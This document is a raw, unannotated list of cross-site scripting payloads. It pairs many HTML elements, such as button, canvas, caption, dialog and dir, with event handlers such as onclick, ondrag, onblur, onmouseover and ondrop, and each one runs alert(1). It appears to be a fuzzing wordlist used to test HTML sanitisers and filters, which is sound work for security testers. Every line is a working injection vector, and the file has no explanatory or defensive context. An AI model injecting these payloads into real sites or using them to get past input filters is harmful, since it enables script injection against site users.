<br onmouseup="alert(1)">test</br>
<button draggable="true" ondrag="alert(1)">test</button>
<button draggable="true" ondragend="alert(1)">test</button>
<button draggable="true" ondragenter="alert(1)">test</button>
<button draggable="true" ondragleave="alert(1)">test</button>
<button draggable="true" ondragstart="alert(1)">test</button>
<button id=x tabindex=1 onactivate=alert(1)></button>
<button id=x tabindex=1 onbeforeactivate=alert(1)></button>
<button id=x tabindex=1 onbeforedeactivate=alert(1)></button><input autofocus>
<button id=x tabindex=1 ondeactivate=alert(1)></button><input id=y autofocus>
<button onbeforepaste="alert(1)" contenteditable>test</button>
<button onblur=alert(1) id=x></button><input autofocus>
<button onclick="alert(1)">test</button>
<button oncontextmenu="alert(1)">test</button>
<button oncopy="alert(1)" contenteditable>test</button>
<button oncut="alert(1)" contenteditable>test</button>
<button ondblclick="alert(1)">test</button>
<button onfocusout=alert(1) id=x></button><input autofocus>
<button onkeydown="alert(1)" contenteditable>test</button>
<button onkeypress="alert(1)" contenteditable>test</button>
<button onkeyup="alert(1)" contenteditable>test</button>
<button onmousedown="alert(1)">test</button>
<button onmouseenter="alert(1)">test</button>
<button onmouseleave="alert(1)">test</button>
<button onmousemove="alert(1)">test</button>
<button onmouseout="alert(1)">test</button>
<button onmouseover="alert(1)">test</button>
<button onmouseup="alert(1)">test</button>
<canvas draggable="true" ondrag="alert(1)">test</canvas>
<canvas draggable="true" ondragend="alert(1)">test</canvas>
<canvas draggable="true" ondragenter="alert(1)">test</canvas>
<canvas draggable="true" ondragleave="alert(1)">test</canvas>
<canvas draggable="true" ondragstart="alert(1)">test</canvas>
<canvas id=x tabindex=1 onactivate=alert(1)></canvas>
<canvas id=x tabindex=1 onbeforeactivate=alert(1)></canvas>
<canvas id=x tabindex=1 onbeforedeactivate=alert(1)></canvas><input autofocus>
<canvas id=x tabindex=1 ondeactivate=alert(1)></canvas><input id=y autofocus>
<canvas onbeforepaste="alert(1)" contenteditable>test</canvas>
<canvas onblur=alert(1) tabindex=1 id=x></canvas><input autofocus>
<canvas onclick="alert(1)">test</canvas>
<canvas oncontextmenu="alert(1)">test</canvas>
<canvas oncopy="alert(1)" contenteditable>test</canvas>
<canvas oncut="alert(1)" contenteditable>test</canvas>
<canvas ondblclick="alert(1)">test</canvas>
<canvas onfocusout=alert(1) tabindex=1 id=x></canvas><input autofocus>
<canvas onkeydown="alert(1)" contenteditable>test</canvas>
<canvas onkeypress="alert(1)" contenteditable>test</canvas>
<canvas onkeyup="alert(1)" contenteditable>test</canvas>
<canvas onmousedown="alert(1)">test</canvas>
<canvas onmouseenter="alert(1)">test</canvas>
<canvas onmouseleave="alert(1)">test</canvas>
<canvas onmousemove="alert(1)">test</canvas>
<canvas onmouseout="alert(1)">test</canvas>
<canvas onmouseover="alert(1)">test</canvas>
<canvas onmouseup="alert(1)">test</canvas>
<caption draggable="true" ondrag="alert(1)">test</caption>
<caption draggable="true" ondragend="alert(1)">test</caption>
<caption draggable="true" ondragenter="alert(1)">test</caption>
<caption draggable="true" ondragleave="alert(1)">test</caption>
<caption draggable="true" ondragstart="alert(1)">test</caption>
<caption id=x tabindex=1 onactivate=alert(1)></caption>
<caption id=x tabindex=1 onbeforeactivate=alert(1)></caption>
<caption id=x tabindex=1 onbeforedeactivate=alert(1)></caption><input autofocus>
<caption id=x tabindex=1 ondeactivate=alert(1)></caption><input id=y autofocus>
<caption onbeforepaste="alert(1)" contenteditable>test</caption>
<caption onblur=alert(1) tabindex=1 id=x></caption><input autofocus>
<caption onclick="alert(1)">test</caption>
<caption oncontextmenu="alert(1)">test</caption>
<caption oncopy="alert(1)" contenteditable>test</caption>
<caption oncut="alert(1)" contenteditable>test</caption>
<caption ondblclick="alert(1)">test</caption>
<caption onfocusout=alert(1) tabindex=1 id=x></caption><input autofocus>
<caption onkeydown="alert(1)" contenteditable>test</caption>
<caption onkeypress="alert(1)" contenteditable>test</caption>
<caption onkeyup="alert(1)" contenteditable>test</caption>
<caption onmousedown="alert(1)">test</caption>
<caption onmouseenter="alert(1)">test</caption>
<caption onmouseleave="alert(1)">test</caption>
<caption onmousemove="alert(1)">test</caption>
<caption onmouseout="alert(1)">test</caption>
<caption onmouseover="alert(1)">test</caption>
<caption onmouseup="alert(1)">test</caption>
<center draggable="true" ondrag="alert(1)">test</center>
<center draggable="true" ondragend="alert(1)">test</center>
<center draggable="true" ondragenter="alert(1)">test</center>
<center draggable="true" ondragleave="alert(1)">test</center>
<center draggable="true" ondragstart="alert(1)">test</center>
<center id=x tabindex=1 onactivate=alert(1)></center>
<center id=x tabindex=1 onbeforeactivate=alert(1)></center>
<center id=x tabindex=1 onbeforedeactivate=alert(1)></center><input autofocus>
<center id=x tabindex=1 ondeactivate=alert(1)></center><input id=y autofocus>
<center onbeforepaste="alert(1)" contenteditable>test</center>
<center onblur=alert(1) tabindex=1 id=x></center><input autofocus>
<center onclick="alert(1)">test</center>
<center oncontextmenu="alert(1)">test</center>
<center oncopy="alert(1)" contenteditable>test</center>
<center oncut="alert(1)" contenteditable>test</center>
<center ondblclick="alert(1)">test</center>
<center onfocusout=alert(1) tabindex=1 id=x></center><input autofocus>
<center onkeydown="alert(1)" contenteditable>test</center>
<center onkeypress="alert(1)" contenteditable>test</center>
<center onkeyup="alert(1)" contenteditable>test</center>
<center onmousedown="alert(1)">test</center>
<center onmouseenter="alert(1)">test</center>
<center onmouseleave="alert(1)">test</center>
<center onmousemove="alert(1)">test</center>
<center onmouseout="alert(1)">test</center>
<center onmouseover="alert(1)">test</center>
<center onmouseup="alert(1)">test</center>
<cite draggable="true" ondrag="alert(1)">test</cite>
<cite draggable="true" ondragend="alert(1)">test</cite>
<cite draggable="true" ondragenter="alert(1)">test</cite>
<cite draggable="true" ondragleave="alert(1)">test</cite>
<cite draggable="true" ondragstart="alert(1)">test</cite>
<cite id=x tabindex=1 onactivate=alert(1)></cite>
<cite id=x tabindex=1 onbeforeactivate=alert(1)></cite>
<cite id=x tabindex=1 onbeforedeactivate=alert(1)></cite><input autofocus>
<cite id=x tabindex=1 ondeactivate=alert(1)></cite><input id=y autofocus>
<cite onbeforepaste="alert(1)" contenteditable>test</cite>
<cite onblur=alert(1) tabindex=1 id=x></cite><input autofocus>
<cite onclick="alert(1)">test</cite>
<cite oncontextmenu="alert(1)">test</cite>
<cite oncopy="alert(1)" contenteditable>test</cite>
<cite oncut="alert(1)" contenteditable>test</cite>
<cite ondblclick="alert(1)">test</cite>
<cite onfocusout=alert(1) tabindex=1 id=x></cite><input autofocus>
<cite onkeydown="alert(1)" contenteditable>test</cite>
<cite onkeypress="alert(1)" contenteditable>test</cite>
<cite onkeyup="alert(1)" contenteditable>test</cite>
<cite onmousedown="alert(1)">test</cite>
<cite onmouseenter="alert(1)">test</cite>
<cite onmouseleave="alert(1)">test</cite>
<cite onmousemove="alert(1)">test</cite>
<cite onmouseout="alert(1)">test</cite>
<cite onmouseover="alert(1)">test</cite>
<cite onmouseup="alert(1)">test</cite>
<code draggable="true" ondrag="alert(1)">test</code>
<code draggable="true" ondragend="alert(1)">test</code>
<code draggable="true" ondragenter="alert(1)">test</code>
<code draggable="true" ondragleave="alert(1)">test</code>
<code draggable="true" ondragstart="alert(1)">test</code>
<code id=x tabindex=1 onactivate=alert(1)></code>
<code id=x tabindex=1 onbeforeactivate=alert(1)></code>
<code id=x tabindex=1 onbeforedeactivate=alert(1)></code><input autofocus>
<code id=x tabindex=1 ondeactivate=alert(1)></code><input id=y autofocus>
<code onbeforepaste="alert(1)" contenteditable>test</code>
<code onblur=alert(1) tabindex=1 id=x></code><input autofocus>
<code onclick="alert(1)">test</code>
<code oncontextmenu="alert(1)">test</code>
<code oncopy="alert(1)" contenteditable>test</code>
<code oncut="alert(1)" contenteditable>test</code>
<code ondblclick="alert(1)">test</code>
<code onfocusout=alert(1) tabindex=1 id=x></code><input autofocus>
<code onkeydown="alert(1)" contenteditable>test</code>
<code onkeypress="alert(1)" contenteditable>test</code>
<code onkeyup="alert(1)" contenteditable>test</code>
<code onmousedown="alert(1)">test</code>
<code onmouseenter="alert(1)">test</code>
<code onmouseleave="alert(1)">test</code>
<code onmousemove="alert(1)">test</code>
<code onmouseout="alert(1)">test</code>
<code onmouseover="alert(1)">test</code>
<code onmouseup="alert(1)">test</code>
<col draggable="true" ondrag="alert(1)">test</col>
<col draggable="true" ondragend="alert(1)">test</col>
<col draggable="true" ondragenter="alert(1)">test</col>
<col draggable="true" ondragleave="alert(1)">test</col>
<col draggable="true" ondragstart="alert(1)">test</col>
<col id=x tabindex=1 onactivate=alert(1)></col>
<col id=x tabindex=1 onbeforeactivate=alert(1)></col>
<col id=x tabindex=1 onbeforedeactivate=alert(1)></col><input autofocus>
<col id=x tabindex=1 ondeactivate=alert(1)></col><input id=y autofocus>
<col onbeforepaste="alert(1)" contenteditable>test</col>
<col onblur=alert(1) tabindex=1 id=x></col><input autofocus>
<col onclick="alert(1)">test</col>
<col oncontextmenu="alert(1)">test</col>
<col oncopy="alert(1)" contenteditable>test</col>
<col oncut="alert(1)" contenteditable>test</col>
<col ondblclick="alert(1)">test</col>
<col onfocusout=alert(1) tabindex=1 id=x></col><input autofocus>
<col onkeydown="alert(1)" contenteditable>test</col>
<col onkeypress="alert(1)" contenteditable>test</col>
<col onkeyup="alert(1)" contenteditable>test</col>
<col onmousedown="alert(1)">test</col>
<col onmouseenter="alert(1)">test</col>
<col onmouseleave="alert(1)">test</col>
<col onmousemove="alert(1)">test</col>
<col onmouseout="alert(1)">test</col>
<col onmouseover="alert(1)">test</col>
<col onmouseup="alert(1)">test</col>
<colgroup draggable="true" ondrag="alert(1)">test</colgroup>
<colgroup draggable="true" ondragend="alert(1)">test</colgroup>
<colgroup draggable="true" ondragenter="alert(1)">test</colgroup>
<colgroup draggable="true" ondragleave="alert(1)">test</colgroup>
<colgroup draggable="true" ondragstart="alert(1)">test</colgroup>
<colgroup id=x tabindex=1 onactivate=alert(1)></colgroup>
<colgroup id=x tabindex=1 onbeforeactivate=alert(1)></colgroup>
<colgroup id=x tabindex=1 onbeforedeactivate=alert(1)></colgroup><input autofocus>
<colgroup id=x tabindex=1 ondeactivate=alert(1)></colgroup><input id=y autofocus>
<colgroup onbeforepaste="alert(1)" contenteditable>test</colgroup>
<colgroup onblur=alert(1) tabindex=1 id=x></colgroup><input autofocus>
<colgroup onclick="alert(1)">test</colgroup>
<colgroup oncontextmenu="alert(1)">test</colgroup>
<colgroup oncopy="alert(1)" contenteditable>test</colgroup>
<colgroup oncut="alert(1)" contenteditable>test</colgroup>
<colgroup ondblclick="alert(1)">test</colgroup>
<colgroup onfocusout=alert(1) tabindex=1 id=x></colgroup><input autofocus>
<colgroup onkeydown="alert(1)" contenteditable>test</colgroup>
<colgroup onkeypress="alert(1)" contenteditable>test</colgroup>
<colgroup onkeyup="alert(1)" contenteditable>test</colgroup>
<colgroup onmousedown="alert(1)">test</colgroup>
<colgroup onmouseenter="alert(1)">test</colgroup>
<colgroup onmouseleave="alert(1)">test</colgroup>
<colgroup onmousemove="alert(1)">test</colgroup>
<colgroup onmouseout="alert(1)">test</colgroup>
<colgroup onmouseover="alert(1)">test</colgroup>
<colgroup onmouseup="alert(1)">test</colgroup>
<command draggable="true" ondrag="alert(1)">test</command>
<command draggable="true" ondragend="alert(1)">test</command>
<command draggable="true" ondragenter="alert(1)">test</command>
<command draggable="true" ondragleave="alert(1)">test</command>
<command draggable="true" ondragstart="alert(1)">test</command>
<command id=x tabindex=1 onactivate=alert(1)></command>
<command id=x tabindex=1 onbeforeactivate=alert(1)></command>
<command id=x tabindex=1 onbeforedeactivate=alert(1)></command><input autofocus>
<command id=x tabindex=1 ondeactivate=alert(1)></command><input id=y autofocus>
<command onbeforepaste="alert(1)" contenteditable>test</command>
<command onblur=alert(1) tabindex=1 id=x></command><input autofocus>
<command onclick="alert(1)">test</command>
<command oncontextmenu="alert(1)">test</command>
<command oncopy="alert(1)" contenteditable>test</command>
<command oncut="alert(1)" contenteditable>test</command>
<command ondblclick="alert(1)">test</command>
<command onfocusout=alert(1) tabindex=1 id=x></command><input autofocus>
<command onkeydown="alert(1)" contenteditable>test</command>
<command onkeypress="alert(1)" contenteditable>test</command>
<command onkeyup="alert(1)" contenteditable>test</command>
<command onmousedown="alert(1)">test</command>
<command onmouseenter="alert(1)">test</command>
<command onmouseleave="alert(1)">test</command>
<command onmousemove="alert(1)">test</command>
<command onmouseout="alert(1)">test</command>
<command onmouseover="alert(1)">test</command>
<command onmouseup="alert(1)">test</command>
<content draggable="true" ondrag="alert(1)">test</content>
<content draggable="true" ondragend="alert(1)">test</content>
<content draggable="true" ondragenter="alert(1)">test</content>
<content draggable="true" ondragleave="alert(1)">test</content>
<content draggable="true" ondragstart="alert(1)">test</content>
<content id=x tabindex=1 onactivate=alert(1)></content>
<content id=x tabindex=1 onbeforeactivate=alert(1)></content>
<content id=x tabindex=1 onbeforedeactivate=alert(1)></content><input autofocus>
<content id=x tabindex=1 ondeactivate=alert(1)></content><input id=y autofocus>
<content onbeforepaste="alert(1)" contenteditable>test</content>
<content onblur=alert(1) tabindex=1 id=x></content><input autofocus>
<content onclick="alert(1)">test</content>
<content oncontextmenu="alert(1)">test</content>
<content oncopy="alert(1)" contenteditable>test</content>
<content oncut="alert(1)" contenteditable>test</content>
<content ondblclick="alert(1)">test</content>
<content onfocusout=alert(1) tabindex=1 id=x></content><input autofocus>
<content onkeydown="alert(1)" contenteditable>test</content>
<content onkeypress="alert(1)" contenteditable>test</content>
<content onkeyup="alert(1)" contenteditable>test</content>
<content onmousedown="alert(1)">test</content>
<content onmouseenter="alert(1)">test</content>
<content onmouseleave="alert(1)">test</content>
<content onmousemove="alert(1)">test</content>
<content onmouseout="alert(1)">test</content>
<content onmouseover="alert(1)">test</content>
<content onmouseup="alert(1)">test</content>
<data draggable="true" ondrag="alert(1)">test</data>
<data draggable="true" ondragend="alert(1)">test</data>
<data draggable="true" ondragenter="alert(1)">test</data>
<data draggable="true" ondragleave="alert(1)">test</data>
<data draggable="true" ondragstart="alert(1)">test</data>
<data id=x tabindex=1 onactivate=alert(1)></data>
<data id=x tabindex=1 onbeforeactivate=alert(1)></data>
<data id=x tabindex=1 onbeforedeactivate=alert(1)></data><input autofocus>
<data id=x tabindex=1 ondeactivate=alert(1)></data><input id=y autofocus>
<data onbeforepaste="alert(1)" contenteditable>test</data>
<data onblur=alert(1) tabindex=1 id=x></data><input autofocus>
<data onclick="alert(1)">test</data>
<data oncontextmenu="alert(1)">test</data>
<data oncopy="alert(1)" contenteditable>test</data>
<data oncut="alert(1)" contenteditable>test</data>
<data ondblclick="alert(1)">test</data>
<data onfocusout=alert(1) tabindex=1 id=x></data><input autofocus>
<data onkeydown="alert(1)" contenteditable>test</data>
<data onkeypress="alert(1)" contenteditable>test</data>
<data onkeyup="alert(1)" contenteditable>test</data>
<data onmousedown="alert(1)">test</data>
<data onmouseenter="alert(1)">test</data>
<data onmouseleave="alert(1)">test</data>
<data onmousemove="alert(1)">test</data>
<data onmouseout="alert(1)">test</data>
<data onmouseover="alert(1)">test</data>
<data onmouseup="alert(1)">test</data>
<datalist draggable="true" ondrag="alert(1)">test</datalist>
<datalist draggable="true" ondragend="alert(1)">test</datalist>
<datalist draggable="true" ondragenter="alert(1)">test</datalist>
<datalist draggable="true" ondragleave="alert(1)">test</datalist>
<datalist draggable="true" ondragstart="alert(1)">test</datalist>
<datalist id=x tabindex=1 onactivate=alert(1)></datalist>
<datalist id=x tabindex=1 onbeforeactivate=alert(1)></datalist>
<datalist id=x tabindex=1 onbeforedeactivate=alert(1)></datalist><input autofocus>
<datalist id=x tabindex=1 ondeactivate=alert(1)></datalist><input id=y autofocus>
<datalist onbeforepaste="alert(1)" contenteditable>test</datalist>
<datalist onblur=alert(1) tabindex=1 id=x></datalist><input autofocus>
<datalist onclick="alert(1)">test</datalist>
<datalist oncontextmenu="alert(1)">test</datalist>
<datalist oncopy="alert(1)" contenteditable>test</datalist>
<datalist oncut="alert(1)" contenteditable>test</datalist>
<datalist ondblclick="alert(1)">test</datalist>
<datalist onfocusout=alert(1) tabindex=1 id=x></datalist><input autofocus>
<datalist onkeydown="alert(1)" contenteditable>test</datalist>
<datalist onkeypress="alert(1)" contenteditable>test</datalist>
<datalist onkeyup="alert(1)" contenteditable>test</datalist>
<datalist onmousedown="alert(1)">test</datalist>
<datalist onmouseenter="alert(1)">test</datalist>
<datalist onmouseleave="alert(1)">test</datalist>
<datalist onmousemove="alert(1)">test</datalist>
<datalist onmouseout="alert(1)">test</datalist>
<datalist onmouseover="alert(1)">test</datalist>
<datalist onmouseup="alert(1)">test</datalist>
<dd draggable="true" ondrag="alert(1)">test</dd>
<dd draggable="true" ondragend="alert(1)">test</dd>
<dd draggable="true" ondragenter="alert(1)">test</dd>
<dd draggable="true" ondragleave="alert(1)">test</dd>
<dd draggable="true" ondragstart="alert(1)">test</dd>
<dd id=x tabindex=1 onactivate=alert(1)></dd>
<dd id=x tabindex=1 onbeforeactivate=alert(1)></dd>
<dd id=x tabindex=1 onbeforedeactivate=alert(1)></dd><input autofocus>
<dd id=x tabindex=1 ondeactivate=alert(1)></dd><input id=y autofocus>
<dd onbeforepaste="alert(1)" contenteditable>test</dd>
<dd onblur=alert(1) tabindex=1 id=x></dd><input autofocus>
<dd onclick="alert(1)">test</dd>
<dd oncontextmenu="alert(1)">test</dd>
<dd oncopy="alert(1)" contenteditable>test</dd>
<dd oncut="alert(1)" contenteditable>test</dd>
<dd ondblclick="alert(1)">test</dd>
<dd onfocusout=alert(1) tabindex=1 id=x></dd><input autofocus>
<dd onkeydown="alert(1)" contenteditable>test</dd>
<dd onkeypress="alert(1)" contenteditable>test</dd>
<dd onkeyup="alert(1)" contenteditable>test</dd>
<dd onmousedown="alert(1)">test</dd>
<dd onmouseenter="alert(1)">test</dd>
<dd onmouseleave="alert(1)">test</dd>
<dd onmousemove="alert(1)">test</dd>
<dd onmouseout="alert(1)">test</dd>
<dd onmouseover="alert(1)">test</dd>
<dd onmouseup="alert(1)">test</dd>
<del draggable="true" ondrag="alert(1)">test</del>
<del draggable="true" ondragend="alert(1)">test</del>
<del draggable="true" ondragenter="alert(1)">test</del>
<del draggable="true" ondragleave="alert(1)">test</del>
<del draggable="true" ondragstart="alert(1)">test</del>
<del id=x tabindex=1 onactivate=alert(1)></del>
<del id=x tabindex=1 onbeforeactivate=alert(1)></del>
<del id=x tabindex=1 onbeforedeactivate=alert(1)></del><input autofocus>
<del id=x tabindex=1 ondeactivate=alert(1)></del><input id=y autofocus>
<del onbeforepaste="alert(1)" contenteditable>test</del>
<del onblur=alert(1) tabindex=1 id=x></del><input autofocus>
<del onclick="alert(1)">test</del>
<del oncontextmenu="alert(1)">test</del>
<del oncopy="alert(1)" contenteditable>test</del>
<del oncut="alert(1)" contenteditable>test</del>
<del ondblclick="alert(1)">test</del>
<del onfocusout=alert(1) tabindex=1 id=x></del><input autofocus>
<del onkeydown="alert(1)" contenteditable>test</del>
<del onkeypress="alert(1)" contenteditable>test</del>
<del onkeyup="alert(1)" contenteditable>test</del>
<del onmousedown="alert(1)">test</del>
<del onmouseenter="alert(1)">test</del>
<del onmouseleave="alert(1)">test</del>
<del onmousemove="alert(1)">test</del>
<del onmouseout="alert(1)">test</del>
<del onmouseover="alert(1)">test</del>
<del onmouseup="alert(1)">test</del>
<details draggable="true" ondrag="alert(1)">test</details>
<details draggable="true" ondragend="alert(1)">test</details>
<details draggable="true" ondragenter="alert(1)">test</details>
<details draggable="true" ondragleave="alert(1)">test</details>
<details draggable="true" ondragstart="alert(1)">test</details>
<details id=x tabindex=1 onactivate=alert(1)></details>
<details id=x tabindex=1 onbeforeactivate=alert(1)></details>
<details id=x tabindex=1 onbeforedeactivate=alert(1)></details><input autofocus>
<details id=x tabindex=1 ondeactivate=alert(1)></details><input id=y autofocus>
<details onbeforepaste="alert(1)" contenteditable>test</details>
<details onblur=alert(1) tabindex=1 id=x></details><input autofocus>
<details onclick="alert(1)">test</details>
<details oncontextmenu="alert(1)">test</details>
<details oncopy="alert(1)" contenteditable>test</details>
<details oncut="alert(1)" contenteditable>test</details>
<details ondblclick="alert(1)">test</details>
<details onfocusout=alert(1) tabindex=1 id=x></details><input autofocus>
<details onkeydown="alert(1)" contenteditable>test</details>
<details onkeypress="alert(1)" contenteditable>test</details>
<details onkeyup="alert(1)" contenteditable>test</details>
<details onmousedown="alert(1)">test</details>
<details onmouseenter="alert(1)">test</details>
<details onmouseleave="alert(1)">test</details>
<details onmousemove="alert(1)">test</details>
<details onmouseout="alert(1)">test</details>
<details onmouseover="alert(1)">test</details>
<details onmouseup="alert(1)">test</details>
<dfn draggable="true" ondrag="alert(1)">test</dfn>
<dfn draggable="true" ondragend="alert(1)">test</dfn>
<dfn draggable="true" ondragenter="alert(1)">test</dfn>
<dfn draggable="true" ondragleave="alert(1)">test</dfn>
<dfn draggable="true" ondragstart="alert(1)">test</dfn>
<dfn id=x tabindex=1 onactivate=alert(1)></dfn>
<dfn id=x tabindex=1 onbeforeactivate=alert(1)></dfn>
<dfn id=x tabindex=1 onbeforedeactivate=alert(1)></dfn><input autofocus>
<dfn id=x tabindex=1 ondeactivate=alert(1)></dfn><input id=y autofocus>
<dfn onbeforepaste="alert(1)" contenteditable>test</dfn>
<dfn onblur=alert(1) tabindex=1 id=x></dfn><input autofocus>
<dfn onclick="alert(1)">test</dfn>
<dfn oncontextmenu="alert(1)">test</dfn>
<dfn oncopy="alert(1)" contenteditable>test</dfn>
<dfn oncut="alert(1)" contenteditable>test</dfn>
<dfn ondblclick="alert(1)">test</dfn>
<dfn onfocusout=alert(1) tabindex=1 id=x></dfn><input autofocus>
<dfn onkeydown="alert(1)" contenteditable>test</dfn>
<dfn onkeypress="alert(1)" contenteditable>test</dfn>
<dfn onkeyup="alert(1)" contenteditable>test</dfn>
<dfn onmousedown="alert(1)">test</dfn>
<dfn onmouseenter="alert(1)">test</dfn>
<dfn onmouseleave="alert(1)">test</dfn>
<dfn onmousemove="alert(1)">test</dfn>
<dfn onmouseout="alert(1)">test</dfn>
<dfn onmouseover="alert(1)">test</dfn>
<dfn onmouseup="alert(1)">test</dfn>
<dialog draggable="true" ondrag="alert(1)">test</dialog>
<dialog draggable="true" ondragend="alert(1)">test</dialog>
<dialog draggable="true" ondragenter="alert(1)">test</dialog>
<dialog draggable="true" ondragleave="alert(1)">test</dialog>
<dialog draggable="true" ondragstart="alert(1)">test</dialog>
<dialog id=x tabindex=1 onactivate=alert(1)></dialog>
<dialog id=x tabindex=1 onbeforeactivate=alert(1)></dialog>
<dialog id=x tabindex=1 onbeforedeactivate=alert(1)></dialog><input autofocus>
<dialog id=x tabindex=1 ondeactivate=alert(1)></dialog><input id=y autofocus>
<dialog onbeforepaste="alert(1)" contenteditable>test</dialog>
<dialog onblur=alert(1) tabindex=1 id=x></dialog><input autofocus>
<dialog onclick="alert(1)">test</dialog>
<dialog oncontextmenu="alert(1)">test</dialog>
<dialog oncopy="alert(1)" contenteditable>test</dialog>
<dialog oncut="alert(1)" contenteditable>test</dialog>
<dialog ondblclick="alert(1)">test</dialog>
<dialog onfocusout=alert(1) tabindex=1 id=x></dialog><input autofocus>
<dialog onkeydown="alert(1)" contenteditable>test</dialog>
<dialog onkeypress="alert(1)" contenteditable>test</dialog>
<dialog onkeyup="alert(1)" contenteditable>test</dialog>
<dialog onmousedown="alert(1)">test</dialog>
<dialog onmouseenter="alert(1)">test</dialog>
<dialog onmouseleave="alert(1)">test</dialog>
<dialog onmousemove="alert(1)">test</dialog>
<dialog onmouseout="alert(1)">test</dialog>
<dialog onmouseover="alert(1)">test</dialog>
<dialog onmouseup="alert(1)">test</dialog>
<dir draggable="true" ondrag="alert(1)">test</dir>
<dir draggable="true" ondragend="alert(1)">test</dir>
<dir draggable="true" ondragenter="alert(1)">test</dir>
<dir draggable="true" ondragleave="alert(1)">test</dir>
<dir draggable="true" ondragstart="alert(1)">test</dir>
<dir id=x tabindex=1 onactivate=alert(1)></dir>
<dir id=x tabindex=1 onbeforeactivate=alert(1)></dir>
<dir id=x tabindex=1 onbeforedeactivate=alert(1)></dir><input autofocus>
<dir id=x tabindex=1 ondeactivate=alert(1)></dir><input id=y autofocus>
<dir onbeforepaste="alert(1)" contenteditable>test</dir>
<dir onblur=alert(1) tabindex=1 id=x></dir><input autofocus>
<dir onclick="alert(1)">test</dir>
<dir oncontextmenu="alert(1)">test</dir>
<dir oncopy="alert(1)" contenteditable>test</dir>
<dir oncut="alert(1)" contenteditable>test</dir>
<dir ondblclick="alert(1)">test</dir>
<dir onfocusout=alert(1) tabindex=1 id=x></dir><input autofocus>
<dir onkeydown="alert(1)" contenteditable>test</dir>
<dir onkeypress="alert(1)" contenteditable>test</dir>
<dir onkeyup="alert(1)" contenteditable>test</dir>
<dir onmousedown="alert(1)">test</dir>
<dir onmouseenter="alert(1)">test</dir>
<dir onmouseleave="alert(1)">test</dir>
<dir onmousemove="alert(1)">test</dir>
<dir onmouseout="alert(1)">test</dir>
<dir onmouseover="alert(1)">test</dir>
<dir onmouseup="alert(1)">test</dir>
<div draggable="true" contenteditable>drag me</div><a ondragover=alert(1) contenteditable>drop here</a>
<div draggable="true" contenteditable>drag me</div><a ondrop=alert(1) contenteditable>drop here</a>
<div draggable="true" contenteditable>drag me</div><abbr ondragover=alert(1) contenteditable>drop here</abbr>
<div draggable="true" contenteditable>drag me</div><abbr ondrop=alert(1) contenteditable>drop here</abbr>
<div draggable="true" contenteditable>drag me</div><acronym ondragover=alert(1) contenteditable>drop here</acronym>
<div draggable="true" contenteditable>drag me</div><acronym ondrop=alert(1) contenteditable>drop here</acronym>
<div draggable="true" contenteditable>drag me</div><address ondragover=alert(1) contenteditable>drop here</address>
<div draggable="true" contenteditable>drag me</div><address ondrop=alert(1) contenteditable>drop here</address>
<div draggable="true" contenteditable>drag me</div><applet ondragover=alert(1) contenteditable>drop here</applet>
<div draggable="true" contenteditable>drag me</div><applet ondrop=alert(1) contenteditable>drop here</applet>
<div draggable="true" contenteditable>drag me</div><area ondragover=alert(1) contenteditable>drop here</area>
<div draggable="true" contenteditable>drag me</div><area ondrop=alert(1) contenteditable>drop here</area>
<div draggable="true" contenteditable>drag me</div><article ondragover=alert(1) contenteditable>drop here</article>
<div draggable="true" contenteditable>drag me</div><article ondrop=alert(1) contenteditable>drop here</article>
<div draggable="true" contenteditable>drag me</div><aside ondragover=alert(1) contenteditable>drop here</aside>
<div draggable="true" contenteditable>drag me</div><aside ondrop=alert(1) contenteditable>drop here</aside>
<div draggable="true" contenteditable>drag me</div><audio ondragover=alert(1) contenteditable>drop here</audio>
<div draggable="true" contenteditable>drag me</div><audio ondrop=alert(1) contenteditable>drop here</audio>
<div draggable="true" contenteditable>drag me</div><b ondragover=alert(1) contenteditable>drop here</b>
<div draggable="true" contenteditable>drag me</div><b ondrop=alert(1) contenteditable>drop here</b>
<div draggable="true" contenteditable>drag me</div><base ondragover=alert(1) contenteditable>drop here</base>
<div draggable="true" contenteditable>drag me</div><base ondrop=alert(1) contenteditable>drop here</base>
<div draggable="true" contenteditable>drag me</div><basefont ondragover=alert(1) contenteditable>drop here</basefont>
<div draggable="true" contenteditable>drag me</div><basefont ondrop=alert(1) contenteditable>drop here</basefont>
<div draggable="true" contenteditable>drag me</div><bdi ondragover=alert(1) contenteditable>drop here</bdi>
<div draggable="true" contenteditable>drag me</div><bdi ondrop=alert(1) contenteditable>drop here</bdi>
<div draggable="true" contenteditable>drag me</div><bdo ondragover=alert(1) contenteditable>drop here</bdo>
<div draggable="true" contenteditable>drag me</div><bdo ondrop=alert(1) contenteditable>drop here</bdo>
<div draggable="true" contenteditable>drag me</div><bgsound ondragover=alert(1) contenteditable>drop here</bgsound>
<div draggable="true" contenteditable>drag me</div><bgsound ondrop=alert(1) contenteditable>drop here</bgsound>
<div draggable="true" contenteditable>drag me</div><big ondragover=alert(1) contenteditable>drop here</big>
<div draggable="true" contenteditable>drag me</div><big ondrop=alert(1) contenteditable>drop here</big>
<div draggable="true" contenteditable>drag me</div><blink ondragover=alert(1) contenteditable>drop here</blink>
<div draggable="true" contenteditable>drag me</div><blink ondrop=alert(1) contenteditable>drop here</blink>
<div draggable="true" contenteditable>drag me</div><blockquote ondragover=alert(1) contenteditable>drop here</blockquote>
<div draggable="true" contenteditable>drag me</div><blockquote ondrop=alert(1) contenteditable>drop here</blockquote>
<div draggable="true" contenteditable>drag me</div><body ondragover=alert(1) contenteditable>drop here</body>
<div draggable="true" contenteditable>drag me</div><body ondrop=alert(1) contenteditable>drop here</body>
<div draggable="true" contenteditable>drag me</div><br ondragover=alert(1) contenteditable>drop here</br>
<div draggable="true" contenteditable>drag me</div><br ondrop=alert(1) contenteditable>drop here</br>
<div draggable="true" contenteditable>drag me</div><button ondragover=alert(1) contenteditable>drop here</button>
<div draggable="true" contenteditable>drag me</div><button ondrop=alert(1) contenteditable>drop here</button>
<div draggable="true" contenteditable>drag me</div><canvas ondragover=alert(1) contenteditable>drop here</canvas>
<div draggable="true" contenteditable>drag me</div><canvas ondrop=alert(1) contenteditable>drop here</canvas>
<div draggable="true" contenteditable>drag me</div><caption ondragover=alert(1) contenteditable>drop here</caption>
<div draggable="true" contenteditable>drag me</div><caption ondrop=alert(1) contenteditable>drop here</caption>
<div draggable="true" contenteditable>drag me</div><center ondragover=alert(1) contenteditable>drop here</center>
<div draggable="true" contenteditable>drag me</div><center ondrop=alert(1) contenteditable>drop here</center>
<div draggable="true" contenteditable>drag me</div><cite ondragover=alert(1) contenteditable>drop here</cite>
<div draggable="true" contenteditable>drag me</div><cite ondrop=alert(1) contenteditable>drop here</cite>
<div draggable="true" contenteditable>drag me</div><code ondragover=alert(1) contenteditable>drop here</code>
